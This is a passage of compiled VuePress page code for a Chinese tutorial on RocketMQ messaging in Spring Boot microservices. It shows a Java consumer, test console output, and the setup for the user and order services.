class-name"}},[s._v("ConsumeConcurrentlyStatus")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("consumeMessage")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("MessageExt")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" list"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConsumeConcurrentlyContext")]),s._v(" consumeConcurrentlyContext"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//打印消息消费者收到的RocketMQ消息")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"消费者收到的消息为:"')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" list"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//返回消息消费成功的标识")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConsumeConcurrentlyStatus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSUME_SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//启动消费者")]),s._v("\n consumer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("start")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"消费者启动成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("catch")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" e"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n e"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("printStackTrace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br")])]),a("h3",{attrs:{id:"测试消息的生产与消费"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试消息的生产与消费"}},[s._v("#")]),s._v(" 测试消息的生产与消费")]),s._v(" "),a("p",[s._v("(1)为了便于观察,这里我们先启动消费者程序RocketMQConsumer,启动RocketMQConsumer后会在IDEA的控制台打印如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("消费者启动成功\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明消费者启动成功了。")]),s._v(" "),a("p",[s._v("(2)运行生产者程序RocketMQProducer,运行后RocketMQProducer程序控制台会输出如下信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("生产者发出的消息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"body"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SGVsbG8gUm9ja2V0TVE="')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"delayTimeLevel"')]),s._v(":0,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"flag"')]),s._v(":0,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"properties"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"WAIT"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"true"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"TAGS"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"tags"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"topic"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"waitStoreMsgOK"')]),s._v(":true"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n生产者收到的发送结果信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"messageQueue"')]),s._v(":"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"brokerName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DESKTOP-PSKC7T1"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"queueId"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"topic"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"msgId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"C0A8006F538418B4AAC25B9EDDAC0000"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"offsetMsgId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"C0A8B80100002A9F0000000000036B16"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"queueOffset"')]),s._v(":2,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"regionId"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"DefaultRegion"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"sendStatus"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"SEND_OK"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"traceOn"')]),s._v(":true"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("说明生产者程序RocketMQProducer成功将消息发送到RocketMQ。")]),s._v(" "),a("p",[s._v("(3)接下来,再看下消费者程序RocketMQConsumer的控制台,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("消费者收到的消息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("MessageExt "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("queueId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeSize")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("206")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("queueOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("sysFlag")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bornTimestamp")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538093")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bornHost")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("/192.168.184.1:52915, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeTimestamp")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538099")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeHost")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("/192.168.184.1:10911, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("msgId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("C0A8B80100002A9F0000000000036B16, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("commitLogOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("224022")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("bodyCRC")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1774740973")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("reconsumeTimes")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("preparedTransactionOffset")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", toString"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("Message"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("topic"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'bingheTopic'")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("flag")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("properties")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("MIN_OFFSET"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("MAX_OFFSET")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("CONSUME_START_TIME")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1652871538103")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("UNIQ_KEY")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("C0A8006F538418B4AAC25B9EDDAC0000, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("CLUSTER")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("DefaultCluster, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("WAIT")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true, "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("TAGS")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("bingheTag"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("body")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("72")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("101")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("108")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("108")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("111")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("32")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("82")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("111")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("99")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("107")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("101")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("116")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("77")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("81")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("transactionId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明生成者发送到RocketMQ的消息,被消费者成功消费到了。")]),s._v(" "),a("h2",{attrs:{id:"项目整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目整合rocketmq"}},[s._v("#")]),s._v(" 项目整合RocketMQ")]),s._v(" "),a("p",[s._v("我们在项目中模拟一个用户成功下单后,为用户发送通知,通知用户下单成功的逻辑,具体的流程就是下单成功后将订单的信息发送到RocketMQ,然后用户微服务订阅RocketMQ的消息,接收到消息后进行打印。")]),s._v(" "),a("h3",{attrs:{id:"用户微服务整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#用户微服务整合rocketmq"}},[s._v("#")]),s._v(" 用户微服务整合RocketMQ")]),s._v(" "),a("p",[s._v("(1)编码测试RocketMQ时,导入了RocketMQ的依赖,这里就不用再次导入了。")]),s._v(" "),a("p",[s._v("(2)在用户微服务shop-user的application.yml文件中添加如下RocketMQ的配置。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(3)在用户微服务shop-user中创建"),a("code",[s._v("io.binghe.shop.user.rocketmq")]),s._v("包,在包下创建RocketConsumeListener,实现org.apache.rocketmq.spring.core.RocketMQListener接口,具体代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 监听消费\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RocketMQMessageListener")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("consumerGroup "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"user-group"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" topic "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketConsumeListener")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQListener")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Order")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("onMessage")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Order")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"用户微服务收到了订单信息:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br")])]),a("p",[s._v("其中,RocketConsumeListener类上的@RocketMQMessageListener注解,表示当前类是一个RocketMQ的消费者,在@RocketMQMessageListener注解中配置了消费者组为user-group,主题为order-topic。")]),s._v(" "),a("p",[s._v("至此,用户微服务整合RocketMQ完毕。")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合rocketmq"}},[s._v("#")]),s._v(" 订单微服务整合RocketMQ")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-order的pom.xml文件中添加RocketMQ的依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-spring-boot-starter"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.0.3"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token 